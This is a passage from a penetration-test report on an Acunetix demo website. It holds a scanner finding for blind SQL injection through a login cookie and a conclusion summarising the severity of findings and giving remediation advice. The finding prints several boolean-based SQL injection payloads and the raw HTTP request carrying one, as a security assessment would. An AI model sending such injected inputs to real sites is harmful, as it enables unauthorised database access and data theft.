| Reported by module | Scripting (Blind_Sql_Injection.script) |
| Description | |
| This script is possibly vulnerable to SQL Injection attacks. | |
| SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL query without properly filter out dangerous characters. | |
| This is one of the most common application layer attacks currently being used on the Internet. Despite being relatively easy to protect against, there is a large number of web applications vulnerable. | |
| Impact | |
| An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the database and/or expose sensitive information. | |
| Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of impact for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary queries, select, or append additional queries. In some cases, it may be possible to read in or write out to the database, or execute commands on the underlying operating system. | |
| Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database functions). If an attacker can obtain access to these procedures it may be possible to compromise the system. | |
| Recommendation | |
| Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability. | |
| References | |
| Acunetix SQL Injection Attack VIDEO: SQL Injection tutorial OWASP Injection Flaws How to check for SQL injection vulnerabilities SQL Injection Walkthrough OWASP PHP Top 5 | |
| Affected items | |
| / | |
| Details | |
| Cookie input login was set to test%2Ftest' AND 3*2*1=6 AND '000H6YD'='000H6YD | |
| Tests performed: - test%2Ftest' AND 2+1-1-1=0+0+0+1 AND '000H6YD'='000H6YD => TRUE - test%2Ftest' AND 3+1-1-1=0+0+0+1 AND '000H6YD'='000H6YD => FALSE - test%2Ftest' AND 3*2<(0+5+0+0) AND '000H6YD'='000H6YD => FALSE - test%2Ftest' AND 3*2>(0+5+0+0) AND '000H6YD'='000H6YD => TRUE[/] ... (line truncated) | |
| Request headers | |
| GET / HTTP/1.1 Cookie: login=test%2Ftest'%20AND%203*2*1=6%20AND%20'000H6YD'='000H6YD X-Requested-With: XMLHttpRequest Referer: http://testphp.vulnweb.com:80/ Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate | |
| Acunetix Website Audit | |

Conclusion:

After conducting a pentesting of the Acunetix Web Application and Web Server at <http://testphp.vulnweb.com/>, numerous critical, high, medium, low, and informational severity findings were identified. These findings pose significant security risks to the web application and web server and could result in unauthorized access, data breaches, and sensitive information loss.

Of particular concern are the critical severity findings of Command Injection and Malicious File Upload with Remote Command Execution, which enable attackers to execute arbitrary code on the server and potentially compromise the entire system. The high severity findings of Server Side Request Forgery with NTLM leak and Stored XSS with Subdomain takeover also pose significant risks, leading to information disclosure and unauthorized access.

The medium and low severity findings such as Broken Access Control, Cross-Site Request Forgery, IIS Tilde Enum, Missing Rate Limits, Weak Lockout Mechanism, Full Path Disclosure, Reflected HTML Injection for Old Web Browsers, and Unencrypted Communication can also be exploited by attackers to gain unauthorized access to sensitive information.

It is strongly recommended that the organization takes immediate action to address these security vulnerabilities. This includes implementing robust access controls, regularly updating software and security patches, conducting frequent vulnerability assessments and penetration testing, and ensuring secure communication channels between users and the server.

It is important to note that the pentesting project had time and resource constraints, and it is possible that additional vulnerabilities may exist beyond those identified in this report. Therefore, ongoing monitoring and testing are necessary to maintain the web application and web server's continued security.

After analyzing the report, it is apparent that progress is being made, albeit slowly, in the right direction. The number of vulnerabilities is gradually decreasing. However, it is important to note that there is still a long way to go before achieving complete web security. Surprisingly, over 25% of web applications still have at least one high-severity vulnerability.

Securing web resources requires constant vigilance. While network and system administrators may rely on proper version and patch management for security, it is essential to understand that safeguarding web applications

involves more complexities. Vulnerabilities such as SQL Injection and remote code execution stem from poor design and programming practices, regardless of the quality of the chosen software or components.

To improve web application security, integrating security testing automation into the development lifecycle is vital. This involves incorporating web vulnerability scanning with issue trackers, continuous deployment environments, and other relevant tools. Acunetix is committed to expanding its integration capabilities, striving to make the scanning process faster, smarter (requiring fewer requests), and easier (enhancing the user interface). Additionally, Acunetix continues to integrate with a wide range of systems, making it more comprehensive and integrated with various environments.

Please note that this report is based on the findings of a specific penetration testing engagement and is accurate as of the completion date. Regular security assessments and updates are essential to maintain the security of Acunetix and its underlying infrastructure.